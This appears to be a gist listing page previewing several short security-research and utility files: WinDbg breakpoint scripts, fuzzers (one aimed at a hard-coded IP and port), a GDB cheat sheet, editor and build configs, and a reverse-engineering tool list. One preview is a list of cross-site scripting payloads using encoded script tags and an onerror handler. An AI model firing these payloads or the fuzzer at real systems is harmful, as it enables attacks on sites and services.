This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
recvfrom/WSARecvFrom: | |
bp WS2_32!WSARecvFrom ".printf \"[+] recvfrom(%x, %x, %x)\n\", poi(@esp+0x4), poi(poi(@esp+0x8)+4), poi(poi(@esp+0x8)); .echo ;g poi(@esp) ;.if (@eax > -1) { db poi(@esp+4) Lpoi(@ebp+0x10); kv } ;g" | |
ReadFile: | |
bp kernelbase!ReadFile ".printf \"[+] read(%x, %x, %x)\n\", poi(@ebp+0x8), poi(@ebp+0xc), poi(@ebp+0x10); .echo ;g poi(@ebp+0x4) ; db poi(ebp+0xc) Lpoi(ebp+0x10); kv ;g" | |
recv/WSARecv: | |
bp WS2_32!WSARecv ".printf \"[+] recv(%x, %x, %x)\n\", poi(@esp+0x4), poi(poi(@esp+0x8)+4), poi(poi(@esp+0x8)); .echo ;g poi(@esp) ;.if (@eax > -1) { db poi(@esp+4) Lpoi(@ebp+0x10); kv } ;g" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from socket import socket | |
HOST='123.3.3.6' | |
PORT='16102' | |
MAX_BUFFER = 100000 | |
try: | |
for length in range(MAX_BUFFER): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc -Wall idletime.c -o idletime -L/usr/X11R6/lib/ -lX11 -lXext -lXss | |
#include <stdio.h> | |
#include <X11/extensions/scrnsaver.h> | |
int main() | |
{ | |
XScreenSaverInfo *info = XScreenSaverAllocInfo(); | |
Display *display = XOpenDisplay (NULL); | |
if (display == NULL) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def none(): return None | |
objects = ['none', 'bool', 'int', 'float', 'str', 'list', 'dict', 'tuple', 'set', 'object', 'bytes', 'bytearray'] | |
f = open('/dev/urandom', 'rb') | |
def choice(a): | |
i = ord(f.read(1)) % len(a) | |
return a[i] | |
cnt_ok = 0 | |
cnt_ex = 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# 5-line fuzzer below is from Charlie Miller's | |
# "Babysitting an Army of Monkeys": | |
# Part 1 - http://www.youtube.com/watch?v=Xnwodi2CBws | |
# Part 2 - http://www.youtube.com/watch?v=lK5fgCvS2N4 | |
# Presentation at http://www.scribd.com/doc/60008912/cmiller-CSW-2010 | |
# List of files to use as initial seed | |
file_list=[ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cmake_minimum_required(VERSION 3.0.2) | |
project(PROJECT_NAME) | |
find_package(Qt5Widgets) | |
set(CMAKE_INCLUDE_CURRENT_DIR ON) | |
set(CMAKE_AUTO_MOC ON) | |
qt5_wrap_ui(UI_HEADERS mainwindow.ui) | |
qt5_wrap_cpp(MOC_SRC mainwindow.h) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SETUP | |
------------------------------------------------------ | |
------------------------------------------------------ | |
CONTROL FLOW | |
c - continue | |
s - step | |
set step-mode off -- Toggle Step Over | |
show step-mode -- Show Step Mode. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let g:font = 1 | |
function! ToggleFont() | |
if g:font > 0 | |
let g:font = 0 | |
set guifont=GohuFont\ 10 | |
else | |
let g:font = 1 | |
set guifont=Courier\ New\ Bold\ 14 | |
endif | |
endfunction |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script\x20type="text/javascript">javascript:alert(1);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
<script\x09type="text/javascript">javascript:alert(1);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
<script\x0Atype="text/javascript">javascript:alert(1);</script> | |
'`"><\x3Cscript>javascript:alert(1)</script> | |
'`"><\x00script>javascript:alert(1)</script> | |
<img src=1 href=1 onerror="javascript:alert(1)"></img> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
IDA Pro -- Main Disassembler -- https://www.hex-rays.com/products/ida/ | |
windbg -- Main Debugger -- https://developer.microsoft.com/en-us/windows/hardware/windows-driver-kit | |
Intel PIN -- Binary Instrumentation -- https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool | |
Scylla -- https://github.com/NtQuery/Scylla/releases | |
Any decent C compiler. | |
-- ToDo -- | |
Bochs -- http://bochs.sourceforge.net/getcurrent.html | |
Unicorn Engine -- http://www.unicorn-engine.org/ |
OlderNewer